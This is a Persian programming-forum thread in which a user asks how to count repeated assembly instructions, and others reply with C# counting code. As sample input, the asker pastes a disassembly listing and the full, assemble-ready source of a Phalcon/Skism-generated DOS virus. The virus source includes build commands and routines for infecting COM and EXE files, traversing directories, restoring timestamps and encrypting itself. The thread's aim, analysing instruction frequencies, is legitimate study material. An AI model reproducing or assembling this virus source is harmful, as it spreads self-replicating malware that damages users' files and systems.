PDA

View Full Version : شمارش دستورات مشابه در کد اسمبلی



ghazal_mohammady
چهارشنبه 06 اسفند 1393, 10:30 صبح
عرض ادب
من در نظر دارم در یک فایل به زبان اسمبلی نوشته شده تعداد کدهای مشابه رو شمارش کنم، اول اینکه چطور می تونم لیست کل دستورات به زبان اسمبلی رو پیدا کنم و بعد اینکه چطور شمارش کنم؟
لطفا راهنماییم کنید

mortezasar
چهارشنبه 06 اسفند 1393, 11:37 صبح
سلام میشه بیشتر توضیح بدین منظورتون رو متوجه نشدم

ghazal_mohammady
چهارشنبه 06 اسفند 1393, 11:51 صبح
الان مثلا تو این کد:



00000003 BB1201 mov bx,0x112
00000006 B91701 mov cx,0x117
00000009 2E81070000 add word [cs:bx],0x0
0000000E 43 inc bx
0000000F 43 inc bx
00000010 E2F7 loop 0x9
00000012 E80000 call word 0x15
00000015 5D pop bp
00000016 81ED1501 sub bp,0x115
0000001A 06 push es
0000001B 1E push ds
0000001C 0E push cs
0000001D 07 pop es
0000001E 0E push cs
0000001F 1F pop ds
00000020 B41A mov ah,0x1a
00000022 8D967C05 lea dx,[bp+0x57c]
00000026 CD21 int 0x21
00000028 B200 mov dl,0x0
0000002A B447 mov ah,0x47
0000002C 8DB6A805 lea si,[bp+0x5a8]
00000030 CD21 int 0x21
00000032 1E push ds
00000033 06 push es
00000034 B82135 mov ax,0x3521
00000037 CD21 int 0x21
00000039 06 push es
0000003A 1F pop ds
0000003B 87DA xchg bx,dx
0000003D B80325 mov ax,0x2503
00000040 CD21 int 0x21
00000042 07 pop es
00000043 1F pop ds
00000044 8DB6B901 lea si,[bp+0x1b9]
00000048 8DBEB101 lea di,[bp+0x1b1]
0000004C A5 movsw
0000004D A5 movsw
0000004E A5 movsw
0000004F A5 movsw
00000050 C686E80500 mov byte [bp+0x5e8],0x0
00000055 8D963603 lea dx,[bp+0x336]
00000059 E86500 call word 0xc1
0000005C 8D963003 lea dx,[bp+0x330]
00000060 E85E00 call word 0xc1
00000063 80BEE80503 cmp byte [bp+0x5e8],0x3
00000068 7309 jnc 0x73
0000006A B43B mov ah,0x3b
0000006C 8D963C03 lea dx,[bp+0x33c]
00000070 CC int3
00000071 73E2 jnc 0x55
00000073 8DB6A705 lea si,[bp+0x5a7]
00000077 C6045C mov byte [si],0x5c
0000007A 87D6 xchg dx,si
0000007C B43B mov ah,0x3b
0000007E CC int3
0000007F 07 pop es
00000080 1F pop ds
00000081 BA8000 mov dx,0x80
00000084 B41A mov ah,0x1a
00000086 CC int3
00000087 81FC4144 cmp sp,0x4441
0000008B 740B jz 0x98
0000008D BF0001 mov di,0x100
00000090 57 push di
00000091 8DB6B201 lea si,[bp+0x1b2]
00000095 A4 movsb
00000096 A5 movsw
00000097 C3 ret
00000098 8CC0 mov ax,es
0000009A 051000 add ax,0x10
0000009D 2E0186B301 add [cs:bp+0x1b3],ax
000000A2 2E0386B501 add ax,[cs:bp+0x1b5]
000000A7 FA cli
000000A8 8ED0 mov ss,ax
000000AA 2E8BA6B701 mov sp,[cs:bp+0x1b7]
000000AF FB sti
000000B0 EA00000000 jmp word 0x0:0x0
000000B5 0000 add [bx+si],al
000000B7 0000 add [bx+si],al
000000B9 00CD add ch,cl
000000BB 2000 and [bx+si],al
000000BD 0000 add [bx+si],al
000000BF 0000 add [bx+si],al
000000C1 B90700 mov cx,0x7
000000C4 B44E mov ah,0x4e
000000C6 CC int3
000000C7 72CE jc 0x97
000000C9 81BE9D054D41 cmp word [bp+0x59d],0x414d
000000CF B44F mov ah,0x4f
000000D1 74F3 jz 0xc6
000000D3 B80043 mov ax,0x4300
000000D6 8D969A05 lea dx,[bp+0x59a]
000000DA CC int3
000000DB 72BA jc 0x97
000000DD 51 push cx
000000DE 52 push dx
000000DF B80143 mov ax,0x4301
000000E2 50 push ax
000000E3 33C9 xor cx,cx
000000E5 CC int3
000000E6 B8023D mov ax,0x3d02
000000E9 8D969A05 lea dx,[bp+0x59a]
000000ED CC int3
000000EE 93 xchg ax,bx
000000EF B80057 mov ax,0x5700
000000F2 CC int3
000000F3 51 push cx
000000F4 52 push dx
000000F5 8D96E905 lea dx,[bp+0x5e9]
000000F9 B43F mov ah,0x3f
000000FB B91A00 mov cx,0x1a
000000FE CC int3
000000FF 33D2 xor dx,dx
00000101 B80242 mov ax,0x4202
00000104 33C9 xor cx,cx
00000106 CC int3
00000107 81BEE9054D5A cmp word [bp+0x5e9],0x5a4d
0000010D 7432 jz 0x141
0000010F 8B8EEA05 mov cx,[bp+0x5ea]
00000113 81C13F02 add cx,0x23f
00000117 3BC1 cmp ax,cx
00000119 742E jz 0x149
0000011B 3DFFFA cmp ax,0xfaff
0000011E 7729 ja 0x149
00000120 8DBEBA01 lea di,[bp+0x1ba]
00000124 8DB6E905 lea si,[bp+0x5e9]
00000128 A4 movsb
00000129 A5 movsw
0000012A 8BF0 mov si,ax
0000012C 81C60001 add si,0x100
00000130 B90300 mov cx,0x3
00000133 2BC1 sub ax,cx
00000135 8986EA05 mov [bp+0x5ea],ax
00000139 B2E9 mov dl,0xe9
0000013B 8896E905 mov [bp+0x5e9],dl
0000013F EB65 jmp short 0x1a6
00000141 81BEF9054144 cmp word [bp+0x5f9],0x4441
00000147 7503 jnz 0x14c
00000149 E9B100 jmp word 0x1fd
0000014C 8DB6FD05 lea si,[bp+0x5fd]
00000150 8DBEB901 lea di,[bp+0x1b9]
00000154 A5 movsw
00000155 A5 movsw
00000156 83EE0A sub si,byte +0xa
00000159 A5 movsw
0000015A A5 movsw
0000015B 53 push bx
0000015C 8B9EF105 mov bx,[bp+0x5f1]
00000160 B104 mov cl,0x4
00000162 D3E3 shl bx,cl
00000164 52 push dx
00000165 50 push ax
00000166 2BC3 sub ax,bx
00000168 83DA00 sbb dx,byte +0x0
0000016B B91000 mov cx,0x10
0000016E F7F1 div cx
00000170 8986FF05 mov [bp+0x5ff],ax
00000174 C786F9054144 mov word [bp+0x5f9],0x4441
0000017A 8996FD05 mov [bp+0x5fd],dx
0000017E 8986F705 mov [bp+0x5f7],ax
00000182 8BF2 mov si,dx
00000184 58 pop ax
00000185 5A pop dx
00000186 053C02 add ax,0x23c
00000189 83D200 adc dx,byte +0x0
0000018C B109 mov cl,0x9
0000018E 50 push ax
0000018F D3E8 shr ax,cl
00000191 D3CA ror dx,cl
00000193 F9 stc
00000194 13D0 adc dx,ax
00000196 58 pop ax
00000197 80E401 and ah,0x1
0000019A 8996ED05 mov [bp+0x5ed],dx
0000019E 8986EB05 mov [bp+0x5eb],ax
000001A2 5B pop bx
000001A3 B91A00 mov cx,0x1a
000001A6 51 push cx
000001A7 B42C mov ah,0x2c
000001A9 CC int3
000001AA 83C60F add si,byte +0xf
000001AD 3E89B60401 mov [ds:bp+0x104],si
000001B2 3E89960C01 mov [ds:bp+0x10c],dx
000001B7 8DB60301 lea si,[bp+0x103]
000001BB B91E01 mov cx,0x11e
000001BE 8DBE3F03 lea di,[bp+0x33f]
000001C2 56 push si
000001C3 F3A5 rep movsw
000001C5 8D864E03 lea ax,[bp+0x34e]
000001C9 3E89860401 mov [ds:bp+0x104],ax
000001CE 5E pop si
000001CF FFB61201 push word [bp+0x112]
000001D3 C6861201C3 mov byte [bp+0x112],0xc3
000001D8 53 push bx
000001D9 FFD6 call si
000001DB 5B pop bx
000001DC 8F861201 pop word [bp+0x112]
000001E0 B440 mov ah,0x40
000001E2 B93C02 mov cx,0x23c
000001E5 8D963F03 lea dx,[bp+0x33f]
000001E9 CC int3
000001EA 33C9 xor cx,cx
000001EC B80042 mov ax,0x4200
000001EF 99 cwd
000001F0 CC int3
000001F1 B440 mov ah,0x40
000001F3 8D96E905 lea dx,[bp+0x5e9]
000001F7 59 pop cx
000001F8 CC int3
000001F9 FE86E805 inc byte [bp+0x5e8]
000001FD B80157 mov ax,0x5701
00000200 5A pop dx
00000201 59 pop cx
00000202 CC int3
00000203 B43E mov ah,0x3e
00000205 CC int3
00000206 58 pop ax
00000207 5A pop dx
00000208 59 pop cx
00000209 CC int3
0000020A B44F mov ah,0x4f


الان من میخوام ببینم کدوم دستور تو یه فایل تکرار شده، میخوام با برنامه نویسی این تعداد تکرارها رو در بیارم

ghazal_mohammady
چهارشنبه 06 اسفند 1393, 11:52 صبح
یا مثلا تو این کد :


; Virus generated by G‎ 0.70ل
; G‎ written by Dark Angel of Phalcon/Skism

; File: TARGET.ASM
; [G‎ Virus] by Phalcon/Skism

id = 'DA'

.model tiny
.code

; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
org 0100h

carrier:
db 0E9h,0,0 ; jmp start

start:
ENCRYPT:
patchstart:
mov bx, offset endencrypt
mov cx, (heap-endencrypt)/2+1
encrypt_loop:
db 002Eh ; cs:
db 0081h ; add word ptr [bx], xxxx
xorpatch db 0007h
encryptvalue dw 0000h
inc bx
inc bx
loop encrypt_loop
endencrypt:
call next
next:
pop bp
sub bp, offset next

push es
push ds


push cs
pop es

push cs
pop ds

mov ah, 001Ah ; Set DTA
lea dx, [bp+offset newDTA]
int 0021h

mov dl, 0000h ; Default drive
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
int 0021h

push ds
push es

mov ax, 3521h ; get int 21h handler
int 0021h

push es
pop ds
xchg bx, dx
mov ax, 2503h ; set int 3 = int 21h handler
int 0021h

pop es
pop ds
lea si, [bp+offset origCSIP]
lea di, [bp+offset origCSIP2]
movsw
movsw
movsw
movsw

mov byte ptr [bp+numinfect], 0000h
traverse_loop:
lea dx, [bp+offset COMmask]
call infect
lea dx, [bp+offset EXEmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; exit if enough infected

mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0003h
jnc traverse_loop ; loop if no error

exit_traverse:

lea si, [bp+offset origdir]
mov byte ptr [si], '\'
xchg dx, si
mov ah, 003Bh ; restore directory
int 0003h

pop es
pop ds

mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0003h

cmp sp, id
je restore_EXE
restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3_2]
movsb
movsw
return:
ret

restore_EXE:
mov ax, es
add ax, 0010h
add cs:[bp+word ptr origCSIP2+2], ax
add ax, cs:[bp+word ptr origSPSS2]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS2+2]
sti
db 00EAh
origCSIP2 db ?
old3_2 db ?,?,?
origSPSS2 dd ?

origCSIP db ?
old3 db 0cdh,20h,0
origSPSS dd ?

infect:
mov cx, 0007h ; all files
mov ah, 004Eh ; find first
findfirstnext:
int 0003h
jc return

cmp word ptr [bp+newDTA+33], 'AM' ; Check if COMMAND.COM
mov ah, 004Fh ; Set up find next
jz findfirstnext ; Exit if so

mov ax, 4300h
lea dx, [bp+newDTA+30]
int 0003h
jc return
push cx
push dx

mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0003h

mov ax, 3D02h
lea dx, [bp+newDTA+30]
int 0003h
xchg ax, bx

mov ax, 5700h ; get file time/date
int 0003h
push cx
push dx

lea dx, [bp+offset readbuffer]
mov ah, 003Fh
mov cx, 001Ah
int 0003h

xor dx, dx
mov ax, 4202h
xor cx, cx
int 0003h

cmp word ptr [bp+offset readbuffer], 'ZM'
jz checkEXE

mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jz jmp_close

cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so

lea di, [bp+offset old3]
lea si, [bp+offset readbuffer]
movsb
movsw

mov si, ax ; save entry point
add si, 0100h
mov cx, 0003h
sub ax, cx
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [bp+offset readbuffer], dl
jmp short continue_infect
checkEXE:
cmp word ptr [bp+offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close
skipp:

lea si, [bp+readbuffer+14h]
lea di, [bp+origCSIP]
movsw ; Save original CS and IP
movsw

sub si, 000Ah
movsw ; Save original SS and SP
movsw

push bx ; save file handle
mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl

push dx ; Save file size on the
push ax ; stack

sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX

mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX

mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
mov word ptr [bp+readbuffer+10h], id ; Initial SP
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment

mov si, dx ; save entry point
pop ax ; Filelength in DX:AX
pop dx

add ax, heap-start
adc dx, 0000h

mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h

mov word ptr [bp+readbuffer+4], dx ; Fix-up the file size in
mov word ptr [bp+readbuffer+2], ax ; the EXE header.

pop bx ; restore file handle
mov cx, 001Ah

continue_infect:
push cx ; save # bytes to write

mov ah, 002Ch ; Get current time
int 0003h

add si, (offset endencrypt-offset encrypt)
mov word ptr ds:[bp+patchstart+1], si
mov word ptr ds:[bp+encryptvalue], dx

lea si, [bp+offset ENCRYPT]
mov cx, (heap-encrypt)/2
lea di, [bp+offset encryptbuffer]
push si
rep movsw ; copy virus to buffer

lea ax, [bp+offset endencrypt-encrypt+encryptbuffer]
mov word ptr ds:[bp+patchstart+1], ax
pop si
push [bp+offset endencrypt]
mov byte ptr [bp+offset endencrypt], 00C3h ; retn
push bx
call si ; encrypt virus in buffer
pop bx
pop word ptr [bp+offset endencrypt]


mov ah, 0040h
mov cx, heap-encrypt
lea dx, [bp+offset encryptbuffer]
int 0003h

xor cx, cx
mov ax, 4200h
cwd
int 0003h


mov ah, 0040h
lea dx, [bp+offset readbuffer]
pop cx
int 0003h

inc [bp+numinfect]

close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0003h

mov ah, 003Eh
int 0003h

pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0003h

mov ah, 004Fh ; find next
jmp findfirstnext

signature db '[PS/G‎]',0 ; Phalcon/Skism G‎
creator db 'Phalcon/Skism',0
virusname db '[G‎ Virus]',0
EXEmask db '*.EXE',0
COMmask db '*.COM',0
dot_dot db '..',0

heap:
encryptbuffer db (heap-encrypt)+1 dup (?)
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
endheap:
end carrier



مثلا میخوام بدونم
mov ah, 003Eh
چندبار تکرار شده؟

ghazal_mohammady
چهارشنبه 06 اسفند 1393, 12:27 عصر
این کد به نظرتون کد خوبیه؟

private void button1_Click(object sender, EventArgs e)
{
openFileDialog1.Filter = "assembely Files|*.asm";
openFileDialog1.FileName = String.Empty;
DialogResult result = openFileDialog1.ShowDialog();
int []counter;
if (result == DialogResult.OK)
{
Stream fs = openFileDialog1.OpenFile();
StreamReader reader = new StreamReader(fs);
string txt1 = reader.ReadToEnd();
char[] whthspace = new char[] { ' ', '\t' };
string[] splitedtxt = txt1.Split(whthspace);
counter = new int[splitedtxt.Length];
for (int i = 0; i < splitedtxt.Length; i++)
{
for (int tmp1 = 0; tmp1 < splitedtxt.Length; tmp1++)
{
for (int tmp2 = 1; tmp2< splitedtxt.Length; tmp2++)
{
if (splitedtxt[tmp1] == splitedtxt[tmp2])
counter[i]++;
}
}

listBox1.Items.Add(counter[i]);
}
reader.Close();
}

محمد آشتیانی
پنج شنبه 07 اسفند 1393, 14:16 عصر
سلام
این نمونه برنامه رو ببینید

متن یکی از پست های خودتون رو بعنوان نمونه فایل اسمبلی داخل تکست باکس قرار دادم و همچنین کلمات کلیدی اصلی زبان اسمبلی که داخل فایل AssemblyKeywords کنار فایل اجرایی برنامه قرار داده شده
با کلیک روی دکمه انتخاب فایل Keyword و انتخاب فایل مربوطه ، میتونید تعداد تکرارها رو در لیست باکس ببینید

لیست کامل دستورات اسمبلی رو میتونید اینجا پیدا کنید http://en.wikipedia.org/wiki/X86_instruction_listings





موفق باشید

ghazal_mohammady
شنبه 09 اسفند 1393, 08:40 صبح
لیست کامل دستورات اسمبلی رو میتونید اینجا پیدا کنید http://en.wikipedia.org/wiki/X86_instruction_listings


ببخشید این کل دستورات موجود اسمبلیه؟

ghazal_mohammady
یک شنبه 10 اسفند 1393, 09:07 صبح
به نظرتون مشکل این کد چیه؟
برای برنامه های بلند هنگ می کنه!!



private void button1_Click(object sender, EventArgs e)
{
OpenFileDialog ofd = new OpenFileDialog();
ofd.InitialDirectory = Application.ExecutablePath;
ofd.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
ofd.FilterIndex = 2;
ofd.RestoreDirectory = true;

if (ofd.ShowDialog() == DialogResult.OK)
{
List<string> KeyWords = new List<string>(File.ReadAllLines(ofd.FileName));
string result1 = "";
int wordcount = 0;
string result2 = "";
char[] delimiter = { '\n', '\r',';'};
string[] splitedtxt = textBox1.Text.Split(delimiter);
splitedtxt = splitedtxt.Where(x => !string.IsNullOrEmpty(x)).ToArray();

foreach (string s in KeyWords)
{
for (int i = 0; i < splitedtxt.Length; i++)
{
result1 = splitedtxt[i];
for (int j = i+1; j < splitedtxt.Length;j++)
{
Regex regex = new Regex(s);
Match match = regex.Match(splitedtxt[j].ToUpper());
if (match.Success)
{
result2 = splitedtxt[j];
if (result1 != result2)
{
wordcount++;
}
}

}
}
if (wordcount > 0)
{
listBox1.Items.Add(s + " " + Convert.ToString(wordcount));

}
result1 = "";
result2 = "";
wordcount = 0;
}
}
}

ghazal_mohammady
دوشنبه 11 اسفند 1393, 08:41 صبح
اینم آخرین کد شاید کسی کمک کنه


private void button1_Click(object sender, EventArgs e)
{
OpenFileDialog ofd = new OpenFileDialog();
ofd.InitialDirectory = Application.ExecutablePath;
ofd.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
ofd.FilterIndex = 2;
ofd.RestoreDirectory = true;

if (ofd.ShowDialog() == DialogResult.OK)
{
List<string> KeyWords = new List<string>(File.ReadAllLines(ofd.FileName));
//string[] KeyWords = { "MOV" };
string result1 = "";
int wordcount = 0;
string result2 = "";
char[] delimiter = { '\n', '\r', ';' };
string[] splitedtxt = textBox1.Text.Split(delimiter);
splitedtxt = splitedtxt.Where(x => !string.IsNullOrWhiteSpace(x)).ToArray();
Dictionary<string, int> dic = new System.Collections.Generic.Dictionary<string, int>();
foreach (string s in KeyWords)
{
for (int i = 0; i < splitedtxt.Length; i++)
{
if (dic.ContainsKey(splitedtxt[i])==false)
{
dic.Add(splitedtxt[i], i);
}
result1 = splitedtxt[i];
Regex regex = new Regex(s);
Match match2 = regex.Match(splitedtxt[i].ToUpper());
for (int j = i + 1; j < splitedtxt.Length; j++)
{
Match match = regex.Match(splitedtxt[j].ToUpper());
if (match.Success && match2.Success)
{
result2 = splitedtxt[j];
if (result1 != result2)
{
if (dic.ContainsKey(splitedtxt[i]) == true)
wordcount++;

}
result2 = "";
}
}
}
if (wordcount > 0)
{
listBox1.Items.Add(s + " " + Convert.ToString(wordcount));
result1 = "";
}

wordcount = 0;
}
}
}

rahnema1
دوشنبه 11 اسفند 1393, 13:48 عصر
ببینید تا شما دقیقا نگید چیکار می خواهید بکنید کسی هم اگه بخواد کمک کنه چون اطلاعات کافی نداره نمیتونه کمک کنه. شما کد ا را میذارید اینجا اما توضیح نمیدین. لطفا روش دقیق کار خودتون را توضیح بدید تا جواب دقیق بگیرید

ghazal_mohammady
دوشنبه 11 اسفند 1393, 14:06 عصر
ببینید
من درون یک فایل اسمبلی باید کل کد ها رو بخونم و اونا رو تمیز کنم، یعنی اگه جایی توضیح نوشته یا هرچیز دیگه که اومدم اسپلیتشون کردم
حالا یه سری کد اسمبلی دارم، باید تعداد تکرارهای کدها رو در بیارم، اما این تعداد تفاوته
مثلا در کد زیر :
mov ax,bx
mov ax,bx
mov ax,bx
mov ax,cx
int 21h
int 22h
int 21h
باید خروجی اینطور باشه
mov =2
int=2
یعنی اگه دستوری تکراریه نشمرش
خب زودتر بگین که آدم توضیح بده من همش دارم کدهامو میذارم فکر کردم توضیح اولیه م کفایت میکنه
ضمنا کدهای آخر رو خودم نوشتم

rahnema1
دوشنبه 11 اسفند 1393, 15:39 عصر
بر اساس اون کد دوم و دستورات اسمبلی که دوستمون گذاشتند

Dictionary<string,Dictionary<string,int>> assemblyDictionary = File.ReadAllLines("AssemblyKeywords.txt")
.Select(s=>s.ToLower()).ToDictionary(x=>x ,x=> new Dictionary<string,int>());
using (StreamReader sr = new StreamReader("input.txt"))
{ while (sr.Peek() >= 0)
{
string str = sr.ReadLine().Trim();
string key1 = str.Split(' ')[0];
if (assemblyDictionary.ContainsKey(key1))
{
string key2 = str.Split(';')[0].Trim();
if (assemblyDictionary[key1].ContainsKey(key2))
{
assemblyDictionary[key1][key2]++;
}
else
{
assemblyDictionary[key1].Add(key2,1);
}
}
}
}
if (checkBox1.Checked)
{
richTextBox1.Lines = assemblyDictionary
.Select(x=> x.Key + " : " + x.Value.Count + "\n"
+ string.Concat(x.Value
.Select(y => "\t" + y.Key + " : " + y.Value + "\n"))).ToArray();
}
else
{
richTextBox1.Lines = assemblyDictionary.Select(x=> x.Key + " : " + x.Value.Count).ToArray();
}

ghazal_mohammady
دوشنبه 11 اسفند 1393, 16:00 عصر
خیلی ممنونم یعنی کد خودم هیچیش درست نبود؟

rahnema1
دوشنبه 11 اسفند 1393, 16:20 عصر
خب شما با یه منطق دیگه برنامه را پیش بردید من از یه منطق دیگه!

ghazal_mohammady
دوشنبه 11 اسفند 1393, 18:57 عصر
خب شما با یه منطق دیگه برنامه را پیش بردید من از یه منطق دیگه!

ببخشید منظورم الگوریتم کارم بود، یعنی انقد وضع تحلیلم خرابه؟

rahnema1
دوشنبه 11 اسفند 1393, 19:03 عصر
ببخشید منظورم الگوریتم کارم بود، یعنی انقد وضع تحلیلم خرابه؟

والا راستش را بخواهید من اصلا به اون نگاه نکردم و خودم نشستم مستقلا نوشتم اما حالا که نگاه می کنم نکته مثبت کار شما اینه که از Dictionary استفاده کردید یعنی نکته اصلی را رعایت کردید. اما regex به تعداد زیاد فکر می کنم مناسب اینجا نباشه یعنی همون بحث سرعت و ...

ghazal_mohammady
دوشنبه 11 اسفند 1393, 19:36 عصر
یه سوال دیگه
الان تو این برنامه فایل متنی وارذ شده ولی فایل های من همه اسمبلی هستن( به زبان اسمبلی)
میشه کاری کرد فایل اسمبلی تو برنامه به تکست تبذیل بشه؟

rahnema1
دوشنبه 11 اسفند 1393, 20:40 عصر
یه سوال دیگه
الان تو این برنامه فایل متنی وارذ شده ولی فایل های من همه اسمبلی هستن( به زبان اسمبلی)
میشه کاری کرد فایل اسمبلی تو برنامه به تکست تبذیل بشه؟

زبان اسمبلی هم تو فایل متنی می نویسن . توضیحات شما مبهمه